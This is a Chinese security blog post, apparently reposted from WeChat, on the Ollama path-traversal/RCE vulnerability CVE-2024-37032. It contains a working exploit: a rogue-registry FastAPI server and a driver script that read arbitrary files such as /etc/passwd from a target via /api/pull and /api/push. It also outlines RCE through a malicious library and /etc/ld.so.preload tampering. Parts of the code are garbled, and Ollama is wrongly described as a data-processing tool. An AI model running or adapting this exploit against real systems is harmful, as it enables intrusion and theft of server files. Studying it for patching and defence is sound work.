近日,安全研究人员在Ollama中发现了一个严重的远程代码执行(RCE)漏洞,编号为CVE-2024-37032。这个漏洞被命名为“Probllama”,因为它与Ollama的某些核心功能密切相关。本文将带你深入了解这个漏洞的来龙去脉,以及如何防范类似的安全威胁。
漏洞背景
Ollama是一个广泛使用的开源项目,主要用于处理大规模数据处理任务。由于其高效性和灵活性,Ollama在多个行业中得到了广泛应用。然而,正是由于其复杂性和广泛的应用场景,Ollama也成为了攻击者的目标。
漏洞详情
CVE-2024-37032漏洞存在于Ollama的某个核心组件中,攻击者可以通过构造特定的恶意请求,触发该漏洞,从而在目标系统上执行任意代码。这个漏洞的严重性在于,它不需要攻击者具备高权限即可利用,且攻击过程相对隐蔽,难以被常规的安全检测手段发现。
漏洞利用条件
-
1. 目标系统运行Ollama的受影响版本。
-
2. 攻击者能够向目标系统发送恶意请求。
-
3. 目标系统未及时更新补丁或未采取有效的安全防护措施。
理解漏洞
首先,我们将演示导致读取和覆盖服务器上文件的核心路径遍历问题。然后,我们将会探索如何最终导致关键的远程命令执行缺陷。
路径遍历
Ollama的HTTP服务器有多个API端点。'/api/pull'端点用于从注册表下载模型。官方描述如下:
POST /api/pull
Download a model from the ollama library. Cancelled pulls are resumed from where they left off, and multiple calls will share the same download progress.
Parameters:
-
•
name
: name of the model to pull -
•
insecure
: (optional) allow insecure connections to the library. Only use this if you are pulling from your own library during development. -
•
stream
: (optional) iffalse
the response will be returned as a single response object, rather than a stream of objects
虽然Ollama通常使用其官方注册(registry.ollama.com),但它也可以从一个私有注册中提取,该注册是一个托管AI模型的自定义服务器(类似于Ollama的官方注册表)。因此,这种开放性架构允许任何人设置自己的注册并托管模型。这种开放性导致研究人员调查了与私人注册相关的潜在风险。他们质疑是否对私人注册盲目信任,并探索了一个恶意私人注册可能造成的潜在损害。
Ollama 使用特定格式的模型名称:[registry]/[namespace]/[model]:[tag]
. For example:
-
• Default:
ollama pull llama2
-
• Private:
ollama pull myregistry.com/myorg/custommodel:latest
也可以直接使用 /api/pull 端点:
curl http://[target]:11434/api/pull -d '{
"name": "myregistry.com/myorg/custommodel:latest"
}'
当使用/api/pull API端点从私有注册中拉取模型时,可以提供恶意清单文件(一种结构化文档,用于提供有关Ollama容器映像中的模型和层的元数据和信息)。该文件可以在摘要字段中包含路径遍历有效载荷.
/root/.ollama/models/blobs/sha256-e7d92f76f6e149a4e98c9b905e15f32fbb2e3efb1d4c1e4d6efb6c72d2e3f4d3
什么是Docker manifest?如下 json
{
"schemaVersion":2,
"mediaType":"application/vnd.docker.distribution.manifest.v2+json",
"config":{
"mediaType":"application/vnd.docker.container.image.v1+json",
"digest":"sha256:e7d92f76f6e149a4e98c9b905e15f32fbb2e3efb1d4c1e4d6efb6c72d2e3f4d3",
"size":1234
},
"layers":[
{
"mediaType":"application/vnd.docker.image.rootfs.diff.tar.gzip",
"digest":"sha256:3a59c60e67d8c5ea4567a22332e1b2da4071a8a2b5a7b9c91a8a1180b81a8f8d",
"size":987654
},
{
"mediaType":"application/vnd.docker.image.rootfs.diff.tar.gzip",
"digest":"sha256:ecbf8c550bf608bceefd4cb2b979d02a96b3f16c5ab2f3cd11297a3ee4f875ae",
"size":543210
}
]
}
解释:
-
•
schemaVersion
: Specifies the version of the Docker manifest schema being used (here, version 2). -
•
mediaType
: Indicates the MIME type of the manifest file (application/vnd.docker.distribution.manifest.v2+json
for Docker v2 manifests). -
•
config
: Describe the configuration of the Docker container: -
•
mediaType
: Specifies the MIME type of the configuration blob. -
•
digest
: SHA256 hash of the configuration blob. -
•
size
: Size of the configuration blob in bytes. -
•
layers
: Lists the layers that compose the Docker image. Each layer includes: -
•
mediaType
: MIME type of the layer. -
•
digest
: SHA256 hash of the layer. -
•
size
: Size of the layer in bytes.
特定层的摘要字段应与其哈希匹配。此外,此摘要还用作在磁盘上存储模型文件时使用的标识符。
从这一点来看,我们的工作很简单:我们所要做的就是提交摘要字段中的路径,并设置相应的端点以响应文件的内容。
路径遍历任意文件读取
要利用此漏洞,攻击者会在服务器上放置恶意清单文件(例如/root/.ollama/models/manifests/%IP_ADDRESS%/library/manifest/latest
)。该文件包含其图层的摘要字段中的有效负载。当尝试通过/api/push端点将此恶意模型推送到远程注册表时,服务器会处理清单文件。但是,由于对摘要字段验证不当,服务器错误地将有效载荷解释为合法的文件路径。因此,而不是安全地处理摘要字段,服务器读取并泄露由有效载荷指定的文件的内容。这种泄漏暴露了存储在服务器上的敏感信息,破坏了数据的保密性,并可能破坏数据的完整性。
Remote Code Execution
漏洞利用过程 写入恶意共享库:
攻击者首先利用任意文件写入漏洞,将一个恶意的共享库(例如/root/bad.so)写入目标系统的文件系统中。
这个恶意共享库包含攻击者希望执行的代码,例如反弹Shell、提权代码等。
篡改/etc/ld.so.preload文件:
攻击者进一步利用任意文件写入漏洞,修改/etc/ld.so.preload文件,将恶意共享库的路径(如/root/bad.so)添加到该文件中。
这样,每当系统启动一个新进程时,都会自动加载这个恶意共享库。
触发新进程:
攻击者通过向Ollama API服务器的/api/chat端点发送请求,触发服务器启动一个新进程。
由于/etc/ld.so.preload已被篡改,新进程在启动时会自动加载恶意共享库,从而执行攻击者的代码。
Exploit script for file reading
让我们使用Ollama的Docker版本。要启动一个实例(从项目的官方Docker Hub中拉取),您只需运行以下命令:
docker run -v ollama:/root/.ollama -p 11434:11434 --name ollama ollama/ollama:0.1.33
git clone https://github.com/Bi0x/CVE-2024-37032.git
cd CVE-2024-37032
首先,让我们打开 poc.py 和 server.py 文件,并按照 repos 说明将“HOST”变量的值修改为我们的本地IP地址(例如“192.168.143.234”等)。然后用python3启动server.py并运行poc.py。结果应该类似如下:
对利用脚本进行了一些调整,使其变得更加动态
from fastapi importFastAPI,Request,Response
PATH_TRAVELSAL_STRING =14
PREFIX ="../"* PATH_TRAVELSAL_STRING
UUID ="3647298c-9588-4dd2-9bbe-0539533d2d04"
STATE ="eBQ2_sxwOJVy8DZMYYZ8wA8NBrJjmdINFUMM6uEZyYF7Ik5hbWUiOiJyb2d1ZS9sbGFtYTMiLCJVVUlEIjoiMzY0NzI5OGMtOTU4OC00ZGQyLTliYmUtMDUzOTUzM2QyZDA0IiwiT2Zmc2V0IjowLCJTdGFydGVkQXQiOiIyMDI0LTA2LTI1VDEzOjAxOjExLjU5MTkyMzgxMVoifQ%3D%3D"
def create_app(file: str, host: str,namespace: str):
app =FastAPI()
def write_to_file(text):
try:
with open('response.txt','w')as file_to_write:
file_to_write.write(text)
print(f"Content of {file} successfully written to response.txt.")
exceptIOError:
print(f"Error: Could not write to response.txt.")
async def index_get():
return{"message":"Hello!"}
async def index_post(callback_data:Request):
#print(await callback_data.body())
return{"message":"Hello!"}
# PULL
async def fake_manifests():
return{
"schemaVersion":2,
"mediaType":"application/vnd.docker.distribution.manifest.v2+json",
"config":{
"mediaType":"application/vnd.docker.container.image.v1+json",
"digest": f"{PREFIX}{file}",
"size":10
},
"layers":[
{
"mediaType":"application/vnd.ollama.image.license",
"digest":f"{PREFIX}tmp/notfoundfile",
"size":10
},
{
"mediaType":"application/vnd.docker.distribution.manifest.v2+json",
"digest":f"{PREFIX}{file}",
"size":10
},
{
"mediaType":"application/vnd.ollama.image.license",
"digest":f"{PREFIX}root/.ollama/models/manifests/{host}/{namespace}/latest",
"size":10
}
]
}
async def fake_head(response:Response):
response.headers["Docker-Content-Digest"]= f"{PREFIX}{file}"
return''
async def fake_get(response:Response):
response.headers["Docker-Content-Digest"]= f"{PREFIX}{file}"
response.headers["E-Tag"]= f""{PREFIX}{file}""
return'test'
async def fake_latest_head(response:Response):
response.headers["Docker-Content-Digest"]= f"{PREFIX}root/.ollama/models/manifests/{host}/{namespace}/latest"
return''
async def fake_latest_get(response:Response):
response.headers["Docker-Content-Digest"]= f"{PREFIX}root/.ollama/models/manifests/{host}/{namespace}/latest"
response.headers["E-Tag"]= f""{PREFIX}root/.ollama/models/manifests/{host}/{namespace}/latest""
return{
"schemaVersion":2,
"mediaType":"application/vnd.docker.distribution.manifest.v2+json",
"config":{
"mediaType":"application/vnd.docker.container.image.v1+json",
"digest": f"{PREFIX}{file}",
"size":10
},
"layers":[
{
"mediaType":"application/vnd.ollama.image.license",
"digest":f"{PREFIX}tmp/notfoundfile",
"size":10
},
{
"mediaType":"application/vnd.docker.distribution.manifest.v2+json",
"digest":f"{PREFIX}{file}",
"size":10
},
{
"mediaType":"application/vnd.ollama.image.license",
"digest":f"{PREFIX}root/.ollama/models/manifests/{host}/{namespace}/latest",
"size":10
}
]
}
async def fake_notfound_head(response:Response):
response.headers["Docker-Content-Digest"]= f"{PREFIX}tmp/notfoundfile"
return''
async def fake_notfound_get(response:Response):
response.headers["Docker-Content-Digest"]= f"{PREFIX}tmp/notfoundfile"
response.headers["E-Tag"]= f""{PREFIX}tmp/notfoundfile""
return''
# PUSH
async def fake_upload_post(callback_data:Request, response:Response):
#print(await callback_data.body())
response.headers["Docker-Upload-Uuid"]= UUID
response.headers["Location"]= f"http://{host}/v2/{namespace}/blobs/uploads/{UUID}?_state={STATE}"
return''
async def fake_patch_file(callback_data:Request):
body = await callback_data.body()
decoded_body = body.decode("utf-8")
pretty_body = decoded_body.replace("n","n")
print(pretty_body)
print("Writing response to file...")
write_to_file(pretty_body)
return''
async def fake_post_file(callback_data:Request):
#print(await callback_data.body())
return''
async def fake_manifests_put(callback_data:Request, response:Response):
#print(await callback_data.body())
response.headers["Docker-Upload-Uuid"]= UUID
response.headers["Location"]= f"http://{host}/v2/{namespace}/blobs/uploads/{UUID}?_state={STATE}"
return''
return app
main.py
import threading
from time import sleep
import requests
import uvicorn
import argparse
from server import create_app
import socket
SLEEP_TIME =0.5
def get_machine_ip():
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
s.connect(("8.8.8.8",80))
ip = s.getsockname()[0]
exceptException:
ip ="127.0.0.1"
finally:
s.close()
return ip
def run_server(file, host,namespace):
app = create_app(file, host,namespace)
uvicorn.run(app, host='0.0.0.0', port=80)
if __name__ =="__main__":
parser = argparse.ArgumentParser(description="Run FastAPI rogue server and exploit script (CVE-2024-37032).")
parser.add_argument("--file", type=str, required=True, help="The file to read remotely.")
parser.add_argument("--target", type=str, required=True, help="The vulnerable Ollama instance's (target) IP.")
parser.add_argument("--target-ip", type=str, required=False,default=11434, help="The vulnerablr Ollama instance's (target) port.")
parser.add_argument("--host", type=str, required=False, help="Current (attacker) machine's IP.")
parser.add_argument("--namespace", type=str, required=False,default='vsociety/test', help="The string for the rogue registry namespace.")
args = parser.parse_args()
host = args.host or get_machine_ip()
target_url = f"http://{args.target}:{args.target_ip}"
file = args.file.lstrip("/")
# Start the server in a new thread
server_thread = threading.Thread(target=run_server, args=(file, host, args.namespace))
server_thread.daemon =True
server_thread.start()
# Give the server a moment to start
sleep(SLEEP_TIME)
vuln_registry_url = f"{host}/{args.namespace}"
pull_url = f"{target_url}/api/pull"
push_url = f"{target_url}/api/push"
# Now proceed with the requests
requests.post(pull_url, json={"name": vuln_registry_url,"insecure":True})
sleep(SLEEP_TIME)
requests.post(push_url, json={"name": vuln_registry_url,"insecure":True})
# Join the server thread if you want to wait for the server to finish (optional)
server_thread.join()
读文件 File read
python3 main.py --file '/etc/passwd' --target localhost
漏洞影响
该漏洞的影响范围广泛,可能导致以下后果:
-
• 数据泄露:攻击者可以通过执行任意代码,窃取敏感数据。
-
• 系统瘫痪:恶意代码可能导致系统崩溃或服务中断。
-
• 进一步渗透:攻击者可以利用该漏洞作为跳板,进一步渗透到内部网络。
修复建议
为了防范CVE-2024-37032漏洞带来的风险,建议采取以下措施:
-
1. 及时更新:确保Ollama系统及时更新到最新版本,修复已知漏洞。
-
2. 加强监控:部署有效的安全监控系统,及时发现并响应异常行为。
-
3. 权限控制:严格限制系统权限,避免攻击者利用低权限账户进行攻击。
-
4. 安全培训:加强员工的安全意识培训,提高整体安全防护水平。
总结
CVE-2024-37032漏洞再次提醒我们,安全无小事。无论是开源项目还是商业软件,都需要时刻保持警惕,及时修复漏洞,确保系统的安全性。希望本文能帮助你更好地理解这个漏洞,并采取有效的防范措施。
关注黑伞安全,获取更多安全资讯和技术干货!
#网络安全 #漏洞分析 #CVE-2024-37032 #Ollama #RCE漏洞
原文始发于微信公众号(黑伞安全):Ollama 远程代码执行漏洞 CVE-2024-37032
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论